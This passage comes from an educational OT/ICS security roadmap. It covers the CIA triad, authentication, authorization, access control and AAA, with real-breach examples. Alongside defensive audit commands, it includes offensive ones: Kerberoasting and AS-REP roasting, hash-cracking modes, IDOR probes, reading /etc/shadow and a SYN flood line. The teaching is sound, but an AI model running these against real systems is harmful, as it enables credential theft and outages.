Pepper	Secret application-level addition to password	Requires app server compromise in addition to DB breach	256-bit CSPRNG; store in HSM or config separate from DB	HMI application authentication secrets
bcrypt/Argon2id	Intentionally slow; work factor	GPU cracking; requires work to crack even with hash	Argon2id (time=3, mem=64MB); bcrypt (rounds≥12)	SCADA operator passwords; HMI authentication
Digital Signatures	Hash + asymmetric sign; auth + integrity + non-repudiation	Key theft; PS3/Android k reuse; PKCS1v15 forgery	ECDSA with random k; Ed25519; RSA-PSS	IEC 62351 signing of GOOSE messages; OTA firmware signing
PKI	Certificate chains; CA trust anchor	Rogue CA (MD5 collision 2008); misissued certs	CAA DNS records; CT monitoring; short-lived certs	OPC-UA PKI; internal CA for OT certificates
TLS	Asymmetric key exchange → symmetric data encryption	Heartbleed, BEAST, POODLE, FREAK, Logjam, ROBOT	TLS 1.3 minimum; ECDHE only; AEAD ciphers; HSTS	TLS for OT historian, remote access, OPC-UA; never Telnet
TLS Handshake	ClientHello/ServerHello → key exchange → application data	Downgrade attack; session hijack; MITM (no cert validation)	Certificate pinning; HSTS; validate full chain; TLS 1.3	OT remote access must validate server certificates
Cryptographic Randomness	CSPRNG; entropy sources; unpredictable output	Predictable seed (DUHK 2017); entropy starvation; ECDSA k	/dev/urandom; secrets module; hardware RNG; haveged for VMs	First-boot key generation in OT devices; entropy starvation risk
Steganography	Hidden data in carrier files	Data exfiltration; C2 in social media images (Turla APT)	Content inspection; outbound media analysis; StegExpose	ICMP tunnel C2 in OT networks; detect with payload analysis

Next Module: Stage 2.3 — Identity and Access Management

Previous Module: Stage 2.1 — Core Security Concepts

Stage Index: Stage 2 README

Series Index: Full Roadmap

This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.

Stage 2.1 — Core Security Concepts

Rençber AKMAN — Sun, 14 Jun 2026 07:11:05 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 2 — Cybersecurity Core

Module: 2.1 — Core Concepts

Level: Beginner → Advanced

Prerequisites: Stage 1 — Network Fundamentals (all modules)

Next Module: 2.2 — Cryptography

Why Core Concepts Are the Foundation of Every Security Decision
CIA Triad — Confidentiality, Integrity, Availability
Authentication — Proving Identity
Authorization — Granting Permission
Access Control — Enforcing Decisions
AAA Model — Authentication, Authorization, Accounting
Risk, Threat, Vulnerability, Attack — Precise Definitions
Threat Actor Types
Attack Surface
Defence in Depth
Least Privilege Principle
Separation of Duties
Zero Trust Model
Module Summary

1. Why Core Concepts Are the Foundation of Every Security Decision

Security tools change. Vendors come and go. Vulnerabilities are patched. Attack techniques evolve. But the conceptual framework underlying every security decision — why something is secure or insecure, who should have access to what, how trust is established, what constitutes acceptable risk — remains constant. Professionals who understand these concepts at a deep level make better decisions faster, in situations they have never encountered before.

Concrete examples of how concept failures cause real breaches:

Target (2013) — CIA and Least Privilege failure: The breach began through an HVAC vendor who had network access for remote monitoring. Proper network segmentation (a CIA-Availability/Integrity control) would have contained vendor access to HVAC systems only. Instead, the vendor's access reached the point-of-sale network. 40 million payment card records were compromised. The CIA triad concept, properly applied, would have mandated isolation.

SolarWinds SUNBURST (2020) — Integrity failure: The attackers compromised the SolarWinds build pipeline and inserted malicious code into legitimate, digitally signed software updates. 18,000 organisations installed the malicious update. This was a supply chain integrity attack — the update appeared authentic, was signed with a legitimate certificate, but contained a backdoor. Integrity controls on the build process (code signing with hardware-bound keys, build pipeline monitoring) were insufficient.

Colonial Pipeline (2021) — Availability and Zero Trust failure: Ransomware encrypted systems and Colonial shut down pipeline operations proactively. The initial access was via a compromised VPN account with no MFA. A Zero Trust approach would have required MFA, device health verification, and continuous validation — not just "valid credentials = full access." The Availability impact was $4.4 million in ransom and fuel shortages across the US East Coast.

OT/ICS — Stuxnet (2010) — All three CIA pillars targeted: Stuxnet attacked Confidentiality (covert operation hidden from operators), Integrity (false data sent to SCADA while centrifuges were physically destroyed), and Availability (centrifuges rendered inoperable). Understanding which CIA pillar an attack targets immediately tells you the appropriate defensive response.

These were not tool failures. They were conceptual failures — wrong assumptions about trust, access, identity, and risk. This module corrects those assumptions from first principles.

2. CIA Triad — Confidentiality, Integrity, Availability

2.1 The Framework

The CIA Triad is the foundational model of information security. Every security control, every policy, every architectural decision can be mapped to protecting one or more of its three properties.

        Confidentiality
             /\
            /  \
           /    \
          /      \
         /________\
  Integrity      Availability

Each property protects a different aspect of information:
  Confidentiality: Who can SEE the information
  Integrity:       Who can CHANGE the information, and whether it has been changed
  Availability:    Whether the information/system can be ACCESSED when needed

2.2 Confidentiality

Definition: Ensuring that information is accessible only to those authorised to access it.

First principles: Information has value. That value is often reduced or destroyed when it reaches parties who should not have it — competitors, attackers, regulators, the public. Confidentiality controls limit who can access information.

Mechanisms:

Encryption (at rest: disk encryption, at transit: TLS)
Access controls (authentication + authorisation)
Physical security (who can reach the hardware)
Data classification (categorising information by sensitivity)
Need-to-know principle (access only to what the role requires)

How confidentiality is attacked:

Attack methods targeting confidentiality:

Eavesdropping: 
  Wireshark/tcpdump on shared medium
  ARP spoofing + MITM
  Wireless sniffing (WEP cracking, evil twin)

Credential theft:
  Phishing (social engineering for passwords)
  Keylogging (capture as user types)
  Mimikatz (extract from Windows memory)
  Pass-the-hash (use credential hash without knowing plaintext)

Data exfiltration:
  DNS tunnelling (exfiltrate via DNS queries)
  HTTPS C2 (exfiltrate over encrypted channels)
  Cloud storage abuse (upload to Dropbox/Google Drive)
  Physical media (USB drives)

Inference attacks:
  Machine learning on metadata (who communicates with whom)
  Traffic analysis (even encrypted traffic reveals patterns)
  Timing attacks (response time reveals information)

Measuring confidentiality failure:

Data classification level of exposed data
Number of records exposed
Regulatory exposure (GDPR, HIPAA, PCI-DSS)
Time data was exposed before detection

OT/ICS Confidentiality:
In OT environments, confidentiality concerns include:

Process parameters (setpoints, recipes, formulas) — competitive intelligence
Control system architecture (network topology, PLC models, firmware versions) — facilitates targeted attacks
Personnel locations and schedules (safety risk)
Proprietary industrial processes

However, OT prioritises Availability > Integrity > Confidentiality (inverse of typical IT). A confidentiality breach in OT rarely causes immediate physical harm; an availability breach can stop production or cause safety incidents.

# Testing confidentiality controls:

# Check if data is encrypted in transit:
openssl s_client -connect target:443 2>/dev/null | grep -E "Protocol|Cipher"
# If no TLS: confidentiality is unprotected in transit

# Check if sensitive files are readable by unauthorised users:
find /etc /var /opt -name "*.conf" -o -name "*.key" -o -name "*.pem" | \
    xargs ls -la 2>/dev/null | grep -v "^-r--------\|^-rw-------"
# Files readable by group/other = potential confidentiality failure

# Check disk encryption status (Linux):
lsblk -o NAME,FSTYPE,MOUNTPOINT | grep -i crypt   # LUKS volumes
cryptsetup status /dev/sda                          # LUKS status

# Check Windows BitLocker:
manage-bde -status C:
# "Protection Status: Protection On" = confidentiality protected

# Find world-readable sensitive files:
find / -name "id_rsa" -o -name "*.key" -o -name "shadow" 2>/dev/null | \
    xargs ls -la 2>/dev/null | grep -v " root root "

2.3 Integrity

Definition: Ensuring that information is accurate, complete, and has not been modified by unauthorised parties.

First principles: Information only has value if it is trustworthy. If a financial record, a software update, a medical record, or a sensor reading can be silently modified by an attacker, every decision based on that information may be wrong. Integrity ensures that data is what it claims to be.

Two types of integrity:

Data Integrity:
  The content of information has not been modified
  Example: a log entry has not been altered after the fact

System Integrity:
  The system behaves as designed
  Example: the operating system hasn't been modified by malware

Both are required — compromising either defeats the purpose of the other

Mechanisms:

Cryptographic hashes (SHA-256, SHA-3) — detect any modification
Digital signatures — verify origin and integrity together
MACs (Message Authentication Codes) — integrity + authentication
Checksums — detect accidental modification (not malicious)
Write-once storage (immutable logs, WORM)
Version control systems (detect unauthorised changes)
File integrity monitoring (Tripwire, AIDE, Windows FIM)

How integrity is attacked:

SolarWinds SUNBURST (2020):
  Target: Software supply chain integrity
  Method: Modify legitimate software before distribution
  How: Compromise build server, inject malicious code into DLL
  Result: Signed, legitimate-looking update contained backdoor
  Impact: 18,000 organisations infected

NotPetya (2017):
  Target: Software supply chain integrity (MeDoc accounting software)
  Method: Hijack auto-update mechanism
  How: Compromise update server for Ukrainian tax software
  Distribution: Sent malicious update to all MeDoc users in Ukraine
  Impact: $10 billion global damage, most destructive malware ever

Log tampering:
  Attacker modifies system logs after compromise to remove evidence
  Mitigation: Forward logs to remote, append-only syslog server immediately
  Forensic indicator: gaps in log sequence numbers, missing events

Database manipulation:
  Direct SQL UPDATE/DELETE on database records
  No trace unless query logging enabled
  Example: financial fraud via database record modification

OT/ICS Integrity — Most Critical Property:

In OT, integrity is arguably the most dangerous property to violate because the consequences are physical:

Stuxnet Integrity Attack (2010):
  Attack: Modified centrifuge control parameters while sending false
          "normal" readings to the operator HMI
  Result: Operators saw normal operation; centrifuges were destroying themselves
  Mechanism: Rootkit intercepted Siemens WinCC API calls
             Returned pre-recorded "normal" data to SCADA
             Sent actual destructive commands to PLCs

  This is the definitive integrity attack on OT:
  - Sensor data integrity: FALSE (operators see lies)
  - Control command integrity: COMPROMISED (PLCs receive attacker commands)
  - System integrity: COMPROMISED (rootkit hidden in SCADA)

Integrity in OT sensor data:
  A pressure sensor reading 150 PSI when actual pressure is 300 PSI = 
  operator makes decisions on false data = potential explosion

  Mitigations:
  - Cross-reference multiple independent sensors
  - Physical safety systems independent of digital controls
  - IEC 62443 security levels for control system integrity
  - Message authentication for control commands (IEC 62351)

# Integrity verification tools:

# File integrity checking:
sha256sum /bin/ls                         # Calculate hash
sha256sum -c checksums.txt               # Verify against saved hashes

# AIDE (Advanced Intrusion Detection Environment):
sudo aide --init                          # Create baseline database
sudo aide --check                         # Compare current state to baseline
# Reports: added, removed, changed files

# Tripwire (enterprise FIM):
sudo tripwire --init                      # Initialise database
sudo tripwire --check                     # Check integrity
sudo tripwire --update                    # Update after approved changes

# Verify package integrity (Linux):
rpm -V package_name                       # RPM: verify installed package
dpkg -V package_name                      # Debian: verify package
# Output: 5 = checksum failure (file modified)

# Verify digital signatures:
gpg --verify file.sig file               # Verify GPG signature
openssl dgst -sha256 -verify key.pub -signature sig.bin file  # Verify OpenSSL sig

# Check Windows system file integrity:
sfc /scannow                              # System File Checker
# Detects and repairs modified system files

# Log integrity monitoring:
# Forward logs to remote syslog IMMEDIATELY (before attacker can tamper):
# /etc/rsyslog.conf:
# *.* @@syslog-server:514              # @@ = TCP (reliable, ordered)
# *.* @syslog-server:514               # @ = UDP (fire and forget)

2.4 Availability

Definition: Ensuring that authorised users can access information and systems when needed.

First principles: A system that works perfectly but is inaccessible provides zero value. Availability controls ensure that systems remain operational and accessible under adversarial conditions (DDoS, ransomware, hardware failure) and non-adversarial conditions (power outage, software bugs, natural disasters).

Mechanisms:

Redundancy (no single point of failure)
Load balancing (distribute load across multiple systems)
Backups (restore capability after failure)
Disaster Recovery (DR) and Business Continuity Planning (BCP)
Rate limiting (prevent resource exhaustion)
DDoS mitigation
Patch management (prevent exploit-based outages)
Monitoring and alerting

Availability metrics:

Uptime measurement:
  99%     = 87.6 hours downtime/year     ("two nines")
  99.9%   = 8.76 hours downtime/year    ("three nines")
  99.99%  = 52.6 minutes downtime/year  ("four nines")
  99.999% = 5.26 minutes downtime/year  ("five nines")

RTO (Recovery Time Objective): How fast must systems be restored?
RPO (Recovery Point Objective): How much data loss is acceptable?

Example: RPO = 1 hour means: backups must run at least hourly
Example: RTO = 4 hours means: systems must be restored within 4 hours

How availability is attacked:

DDoS (Distributed Denial of Service) — overwhelm with traffic
Ransomware — encrypt data/systems, demand payment to restore
Physical destruction — sabotage of hardware
Resource exhaustion — fill disk, exhaust memory, TCP state table attacks
Logic bombs — scheduled code to crash systems
Supply chain attacks on dependencies

OT/ICS Availability — The Primary Concern:

OT Availability Priority:

In enterprise IT: CIA (Confidentiality first)
In OT/ICS: AIC (Availability first)

Why availability dominates in OT:
  A manufacturing PLC going offline = production stop = $X/minute losses
  A water treatment SCADA going offline = inability to control water quality
  A power grid SCADA going offline = potential for blackout
  An oil refinery control system going offline = unsafe process conditions

"Fail safe" vs "Fail operational":
  Enterprise IT failure: systems go down, users can't work (bad but manageable)
  OT failure: physical process continues without control (potentially dangerous)

  Safety Instrumented Systems (SIS) are designed to "fail safe":
  If SIS loses communication, it takes the process to a safe state automatically

  But: making OT highly available often means avoiding patches (restart risk),
  avoiding changes (configuration risk), avoiding monitoring (performance risk)
  → This is why OT systems are often most vulnerable

# Availability monitoring and testing:

# Check system uptime:
uptime                              # Linux
systeminfo | grep "System Boot"     # Windows

# Monitor service availability:
while true; do
    if ! ping -c 1 -W 2 192.168.1.100 &>/dev/null; then
        echo "$(date): HOST DOWN: 192.168.1.100" | tee -a /var/log/availability.log
    fi
    sleep 30
done

# Check disk space (availability killer if full):
df -h | awk '$5 > 80 {print "WARNING: "$1" is "$5" full"}'

# Backup verification:
sha256sum backup.tar.gz             # Hash before storage
sha256sum backup_restored.tar.gz    # Hash after restoration — must match

# DDoS simulation (own infrastructure only):
# hping3 --flood -S -p 80 target   # SYN flood
# Only run on your own test infrastructure

Key Insight: The CIA Triad tells you what you are protecting, not how. Every security control maps to at least one pillar — and the most damaging attacks often compromise multiple pillars simultaneously. Before designing any security control, always ask: which CIA property does this protect, and what is the most likely attack against it? The answer determines the correct tool.

3. Authentication — Proving Identity

3.1 What Authentication Is

Authentication answers the question: "Are you who you claim to be?"

It is the process of verifying that an entity (person, system, application) is who or what it claims to be. Authentication precedes authorisation — you must know WHO someone is before you can determine what they are ALLOWED to do.

Authentication vs Identification vs Authorisation:

Identification:  "I am John Smith"       (claim — anyone can make this)
Authentication: "I can prove I am John"  (verification — requires proof)
Authorisation:  "John may access X"      (permission — granted after auth)

In systems:
  Username = identification  (I claim to be 'jsmith')
  Password = authentication  (I can prove it)
  ACL check = authorisation  (jsmith is allowed to read /etc/passwd)

3.2 Authentication Factors

Authentication factors are categories of proof. Using multiple factors increases security exponentially because an attacker must compromise multiple independent mechanisms.

Factor 1 — Something You KNOW:
  Passwords, PINs, security questions, passphrases
  Weaknesses: forgotten, guessed, stolen via phishing, cracked offline,
              reused across sites, exposed in data breaches

Factor 2 — Something You HAVE:
  Hardware tokens (YubiKey, RSA SecurID), smart cards, mobile phones
  (TOTP codes via Authenticator apps), certificates on specific devices
  Weaknesses: lost or stolen device, SIM swapping (for SMS-based)

Factor 3 — Something You ARE:
  Biometrics: fingerprint, face recognition, iris scan, voice print, typing patterns
  Weaknesses: cannot be changed if compromised, spoofing possible,
              privacy implications, accuracy varies

Factor 4 — Somewhere You ARE:
  Geolocation, IP address, network location
  Weaknesses: VPN/proxy bypass, GPS spoofing, imprecise geofencing
  Use: usually a supplemental factor, not primary

Factor 5 — Something You DO:
  Behavioural biometrics: typing rhythm, mouse movement patterns, gait analysis
  Weaknesses: can be affected by injury, illness, stress; training period needed

Multi-Factor Authentication (MFA):

MFA = using two or more factors from DIFFERENT categories

Common MFA implementations:
  Password + TOTP code (Factor 1 + Factor 2)
  Smart card + PIN (Factor 2 + Factor 1)
  Password + hardware key + fingerprint (F1 + F2 + F3)

NOT real MFA:
  Password + security question (both Factor 1)
  Two passwords (both Factor 1)
  Password + email code (Factor 1 + quasi-Factor 2 — email is often Factor 1 protected)

MFA Bypass Attacks:
  SIM swapping: convince carrier to transfer phone number to attacker's SIM
  OTP phishing: real-time phishing captures OTP before it expires
  MFA fatigue: send repeated MFA push notifications until user accepts

MFA Fatigue Attack (Uber, 2022):
  Attacker obtained credentials from dark web
  Spammed Uber employee's phone with MFA push notifications
  Employee eventually approved to stop the spam
  Attacker gained access → full Uber internal network compromise

  Defence: number matching MFA (display code in app that must match screen)
           Phishing-resistant MFA: FIDO2/WebAuthn hardware keys

3.3 Authentication Protocols

Kerberos (Windows Active Directory):

  Design: Avoid transmitting passwords over network
  Method: Ticket-based authentication system

  Flow:
  Client → AS (Authentication Service): "I am user X" + encrypted timestamp
  AS → Client: TGT (Ticket Granting Ticket) encrypted with AS key
  Client → TGS (Ticket Granting Service): TGT + "I want service Y"
  TGS → Client: Service Ticket for Y, encrypted with service Y's key
  Client → Service Y: Service Ticket
  Service Y: Decrypts ticket, grants access

  Security implications:
  - Password never transmitted in cleartext
  - Tickets are time-limited (default: 10 hours)
  - Kerberoasting: request service tickets for accounts with SPNs,
    crack offline (ticket encrypted with service account's password)
  - Pass-the-ticket: steal TGT from memory, use to authenticate as victim
  - Golden Ticket: forge TGT using krbtgt hash (Domain Admin → persistent access)

  Tools:
    Rubeus: Kerberos attack toolkit (Kerberoasting, AS-REP Roasting, ticket extraction)
    Mimikatz: Extract Kerberos tickets from Windows memory
    Impacket GetUserSPNs: Kerberoasting from Linux

NTLM (NT LAN Manager):
  Challenge-response authentication
  Server sends 8-byte challenge
  Client responds with HMAC of NT hash
  Vulnerability: relay attacks, offline cracking

  Responder + ntlmrelayx: capture NTLM hashes, relay to other services
  Hashcat -m 5600: crack NTLMv2 hashes

OAuth 2.0 / OIDC:
  Token-based delegation
  "Login with Google" = Google authenticates, provides token to app
  Access token: what you can do
  Refresh token: get new access tokens without re-authenticating
  ID token: who you are (OIDC extension to OAuth)

SAML (Security Assertion Markup Language):
  Enterprise SSO (Single Sign-On)
  XML-based assertions from Identity Provider to Service Provider
  Attack: SAML response manipulation if not properly signed and verified

# Authentication testing and monitoring:

# Check password hash algorithm in /etc/shadow:
sudo cat /etc/shadow | head -3
# $6$ = SHA-512 (good)
# $5$ = SHA-256 (acceptable)
# $1$ = MD5 (insecure — must change)
# $y$ = yescrypt (modern, excellent)
# DES (no prefix) = extremely insecure

# Enumerate Kerberoastable accounts:
# (requires domain credentials)
impacket-GetUserSPNs -dc-ip 192.168.1.10 DOMAIN/user:password -request
# Outputs: TGS tickets for service accounts → crack with hashcat -m 13100

# AS-REP Roasting (accounts with "don't require preauth"):
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 192.168.1.10 -no-pass
# Outputs: AS-REP hashes → crack with hashcat -m 18200

# Check for weak authentication on web services:
# Test default credentials:
curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://target/login \
    -d '{"user":"admin","pass":"admin"}'
# 200 with success indicator = default creds work

# Check for MFA enforcement:
# If login succeeds with just username/password (no second factor prompt): no MFA

# Monitor authentication failures (Linux):
sudo grep "Failed password\|Invalid user" /var/log/auth.log | \
    awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
# High count from single IP = brute force attempt

# Windows authentication log:
# Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select-Object -First 10
# Event 4625 = failed logon
# Event 4624 = successful logon
# Event 4648 = logon with explicit credentials (often malicious)

Authentication in OT/ICS:

OT Authentication Challenges:

1. Many field devices (PLCs, RTUs) have NO authentication:
   Modbus: no authentication — any device on the network can read/write
   DNP3 baseline: no authentication (SAv5 adds it but rarely deployed)
   PROFIBUS: no authentication
   → Anyone with network access = full control

2. Default credentials pervasive in OT:
   PLC web interfaces: admin/admin
   SCADA systems: factory default passwords rarely changed
   Industrial switches: default Telnet credentials

3. Legacy OT systems cannot support modern authentication:
   Old PLCs cannot run TLS or modern crypto
   Resources too constrained for authentication overhead

4. Shared credentials common:
   "The HMI password" known to all operators
   No individual accountability
   Cannot audit who made which change

5. Authentication vs real-time requirements:
   Latency introduced by authentication may be unacceptable for
   time-critical control operations

Defence:
  Network segmentation (compensate for device auth failure)
  Jump servers with strong auth for accessing OT
  OPC-UA with authentication for modern inter-device communication
  IEC 62351 for protocol-level authentication
  NERC CIP requires access management for BES Cyber Systems

Key Insight: Authentication is the gateway to all other security controls — if authentication is bypassed or compromised, every authorisation control becomes meaningless. Phishing-resistant hardware MFA (FIDO2/WebAuthn) is the only authentication method provably resistant to the most common attacks (phishing, credential stuffing, real-time OTP replay). SMS and TOTP codes remain valuable but are not phishing-resistant.

4. Authorization — Granting Permission

4.1 What Authorization Is

Authorisation answers: "What are you allowed to do?"

After identity is verified (authentication), the system determines what resources and actions the authenticated entity is permitted to access or perform. Authorisation and authentication are distinct — one system knowing who you are does not mean it knows what you're allowed to do.

Authentication → Authorization → Access

Authentication verifies identity
Authorisation enforces policy
They can fail independently:

Broken Auth + Correct Authz:  Attacker impersonates user, gets user's permissions only
Correct Auth + Broken Authz:  Real user authenticated, but can access resources beyond permissions
Both broken:                  Complete compromise

4.2 Authorisation Models

DAC — Discretionary Access Control:

Owner of resource decides who can access it
Example: Linux file permissions (chmod)
  -rw-r--r-- file.txt
  Owner: read, write
  Group: read
  Others: read

Weakness: Owner can grant access to anyone
          "Discretionary" = no central oversight
          User error leads to data exposure (chmod 777)

Attack relevance: Find world-readable sensitive files
find / -perm -o+r -name "*.key" -o -name "*.conf" 2>/dev/null

MAC — Mandatory Access Control:

Central authority assigns labels (classifications) to subjects and objects
Access granted only when subject label permits object label
Subject cannot override — even if they "own" the file

Examples:
  SELinux (Security Enhanced Linux)
  AppArmor
  Military classifications: Unclassified, Secret, Top Secret

Multi-Level Security (MLS) model (Bell-LaPadula):
  No read up: Top Secret user can read Secret (but not TS from Secret)
  No write down: Top Secret user cannot write to Unclassified (prevent leakage)

Check SELinux status:
  getenforce               # Enforcing / Permissive / Disabled
  sestatus                 # Detailed SELinux status
  ls -Z /etc/shadow        # See file's SELinux label
  ps -eZ | grep httpd      # See process's SELinux context

RBAC — Role-Based Access Control:

Permissions assigned to roles, users assigned to roles
User inherits permissions of their role(s)

Example:
  Role: "Network Admin" = permission to view/change network config
  Role: "Read-Only Auditor" = permission to view logs, no changes
  User: jsmith = assigned role "Network Admin"

Benefits:
  Scalable (manage roles, not individual user permissions)
  Consistent (all users with same role have same access)
  Auditable (clear what each role can do)

Weakness:
  Role explosion: too many roles becomes unmanageable
  Role creep: users accumulate roles over time beyond what's needed

RBAC in Active Directory:
  Security groups = roles
  DACL (Discretionary ACL) on objects = permissions per group

ABAC — Attribute-Based Access Control:

Access decisions based on attributes of: user, resource, environment, action

Example policy:
  "Allow access to Document X IF:
    user.department == 'Finance'
    AND user.clearance >= document.classification
    AND time.current_hour BETWEEN 8 AND 18
    AND user.location == 'corporate_network'"

More flexible than RBAC — can express complex, context-aware policies
Used in: AWS IAM, Azure RBAC, modern zero trust systems

PBAC — Policy-Based Access Control (modern):

Centralised policy engine evaluates access requests in real-time
Example: Open Policy Agent (OPA)

Decouples policy from code:
  Application asks OPA: "Can user X do action Y on resource Z?"
  OPA evaluates policies, returns: allow/deny + reason

Used in: Kubernetes admission control, API gateways, microservices

4.3 Broken Authorization — OWASP Top 10

Broken Access Control is the #1 OWASP vulnerability (2021, 2023)

Common Broken Authorisation Patterns:

IDOR (Insecure Direct Object Reference):
  URL: /api/user/12345/profile
  Attacker changes to: /api/user/12346/profile
  → Access to another user's data
  Defence: Check that authenticated user owns resource 12346

Privilege Escalation — Vertical:
  Regular user accesses admin function
  URL: /admin/delete_user?id=5
  No check that user is admin → any user can delete users

Privilege Escalation — Horizontal:
  User A accesses User B's data
  Same privilege level, different account

Missing Function-Level Access Control:
  Frontend hides admin menu from non-admins
  But /admin/users endpoint is not protected server-side
  Attacker discovers URL → full access

Forced Browsing:
  /reports/financial/2024/q4.pdf is protected
  /reports/financial/2023/q4.pdf is not
  Attacker traverses to find unprotected resources

# Testing authorisation controls:

# Check for IDOR manually:
# Identify user-owned resource ID in URL/response
# Authenticate as different user, attempt to access first user's resource
curl -H "Cookie: session=user2_session" \
    https://target.com/api/users/USER1_ID/data
# If returns user1's data: IDOR vulnerability

# Test for privilege escalation via HTTP method:
# Many apps check GET but not POST/PUT/DELETE
curl -X DELETE https://target.com/api/admin/users/5 \
    -H "Cookie: regular_user_session"
# If succeeds: missing authorisation check on DELETE method

# Test for parameter manipulation:
curl "https://target.com/api/invoice?user_id=YOUR_ID&invoice_id=INVOICE_ID"
# Change user_id to another user's ID
# If returns their invoice: IDOR

# Check for directory traversal (forced browsing):
for path in /admin /administrator /manager /api/admin /api/internal; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    echo "$code: https://target.com$path"
done
# 200 on admin paths without admin login = authorisation failure

# Linux authorisation check:
sudo -l                             # What can current user sudo?
id                                  # Current user, groups, capabilities
find / -perm -4000 2>/dev/null     # SUID files (run as owner, not as self)
find / -perm -2000 2>/dev/null     # SGID files
# SUID on non-standard binaries = privilege escalation opportunity

Key Insight: Authentication proves identity; authorisation enforces what that identity can do. Broken access control (authorisation failure) is consistently the most common vulnerability class in web applications. The root cause is almost always the same: trusting client-supplied data (user IDs, role indicators) without server-side verification. Every access control check must happen on the server, every time, for every request.

5. Access Control — Enforcing Decisions

5.1 Access Control as the Enforcement Layer

Access control is the mechanism that takes authentication + authorisation decisions and enforces them. It is the "gate" between subjects (users, processes, systems) and objects (files, databases, APIs, network services).

Access Control Components:

Subject: Entity requesting access (user, process, service)
Object:  Resource being accessed (file, database, API, network)
Reference Monitor: Policy enforcement mechanism
Policy: Rules defining what subjects may do to objects

Reference Monitor Requirements:
  1. Always invoked (cannot be bypassed)
  2. Tamperproof (cannot be modified)
  3. Small enough to be verified correct (formally verifiable)

5.2 Access Control Lists (ACLs)

ACL: a list attached to an object defining which subjects have which permissions

File system ACL example (Linux extended ACL):
getfacl /var/data/sensitive.txt
# file: /var/data/sensitive.txt
# owner: root
# group: finance
user::rw-           # file owner: read, write
user:alice:rw-      # alice: read, write
user:bob:r--        # bob: read only
group::r--          # finance group: read
group:security:rwx  # security group: read, write, execute
mask::rwx           # maximum effective permissions
other::---          # everyone else: no access

# Set ACL:
setfacl -m u:alice:rw /var/data/sensitive.txt
setfacl -m g:security:rwx /var/data/sensitive.txt
setfacl -x u:bob /var/data/sensitive.txt         # Remove bob's entry

# Windows ACL (DACL):
# Get-Acl C:\Sensitive\file.txt | Format-List
# icacls C:\Sensitive\file.txt
# icacls C:\Sensitive\file.txt /grant alice:R

5.3 Network Access Control

NAC (Network Access Control): determines whether a device may connect to the network

Components:
  802.1X: port-based authentication
  RADIUS: AAA server that makes access decisions
  Supplicant: device software seeking access (Windows, macOS, Linux)
  Authenticator: network device enforcing decision (switch, AP)

802.1X Flow:
  Device plugs in → Switch port in unauthorised state
  Supplicant sends EAP identity
  Authenticator forwards to RADIUS
  RADIUS validates: credentials, device certificate, device health
  RADIUS returns: Access-Accept or Access-Reject
  Access-Accept: switch port moves to authorised state, VLAN assigned
  Access-Reject: device has no network access

Device health checks (NAC posture assessment):
  Is antivirus installed and up to date?
  Is OS patched to required level?
  Is disk encryption enabled?
  Is the device compliant with security policy?

If not compliant: quarantine VLAN (access to patching resources only)

# Access control audit commands:

# Linux filesystem permissions audit:
# Find files/dirs with dangerous permissions:
find / -type f -perm -o+w 2>/dev/null | head -20    # World-writable files
find / -type d -perm -o+w 2>/dev/null | head -20    # World-writable directories
find / -perm -4000 2>/dev/null                        # SUID files
find / -perm -2000 2>/dev/null                        # SGID files

# Check sudo configuration:
cat /etc/sudoers
sudo -l                              # Current user's sudo permissions
# Look for: NOPASSWD: ALL (allows full sudo without password)
# Look for: wildcard use in allowed commands

# Windows: check who has local admin rights:
net localgroup administrators
# Should be minimal: only IT admin accounts

# Check for excessive AD privileges:
# (requires BloodHound or similar)
# Find users with DCSync rights:
# Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteOwner|WriteDacl"}

6. AAA Model — Authentication, Authorization, Accounting

6.1 The Three As

AAA (Authentication, Authorization, Accounting) is the security framework for controlling access to network resources and tracking that access.

Authentication: WHO are you? (verify identity)
Authorization:  WHAT can you do? (enforce policy)
Accounting:     WHAT DID you do? (record activity)

The three are inseparable for complete access control:
  Without Accounting: authorised access leaves no audit trail
  Without Authorization: all authenticated users have equal access
  Without Authentication: accounting cannot attribute actions to individuals

6.2 RADIUS — The AAA Protocol

RADIUS (Remote Authentication Dial-In User Service, RFC 2865) is the most widely deployed AAA protocol.

RADIUS Architecture:

Client (NAS):    Network Access Server — the device enforcing access
                 (VPN gateway, wireless AP, switch port, firewall)
RADIUS Server:   Policy engine — makes access decisions
User Directory:  Backend store (AD/LDAP, local database)

Protocol:
  Client → RADIUS Server: Access-Request (UDP 1812)
    Contains: username, hashed password (MD5 challenge-response), NAS info

  RADIUS Server → Client: Access-Accept, Access-Reject, or Access-Challenge

  Access-Accept may include attributes:
    Session-Timeout: how long the session may last
    Idle-Timeout: timeout if no activity
    Class: VLAN assignment
    Filter-Id: ACL to apply to the session

RADIUS Weakness:
  Password encrypted with MD5(PAP) — weak
  Accounting over UDP — can be spoofed

RADIUS/TLS (RadSec): RADIUS over TLS — addresses cleartext vulnerability

6.3 Accounting — The Audit Trail

Accounting records what was accessed, when, by whom, for how long

Typical accounting record:
  Timestamp:     2024-05-29 10:15:32 UTC
  User:          jsmith@company.com
  Client IP:     192.168.1.5
  NAS-IP:        10.0.0.1 (the VPN gateway or switch)
  Action:        Authenticated successfully
  Session-Time:  3600 seconds
  Bytes-In:      15,234,567
  Bytes-Out:     892,345
  Termination:   User-Request

SIEM Integration:
  RADIUS accounting → SIEM
  Correlate: login at unusual time, login from unusual location,
             excessive data transfer, concurrent sessions from different IPs

Alert rules:
  User authenticated from 2 different countries within 2 hours (impossible travel)
  Data transfer > 1GB in single session (possible exfiltration)
  Failed authentication followed by success from different IP (credential spray → success)
  Authentication outside business hours for non-privileged user

# AAA implementation examples:

# FreeRADIUS server (Linux):
sudo apt install freeradius
# Config: /etc/freeradius/3.0/users
# Test user: echo "testuser Cleartext-Password := 'testpassword'" >> /etc/freeradius/3.0/users
sudo systemctl start freeradius
radtest testuser testpassword localhost 0 testing123  # Test auth

# Verify RADIUS authentication from network device:
radtest username password radius_server_ip 0 shared_secret
# Expected: Received Access-Accept (success)

# Analyse RADIUS accounting logs:
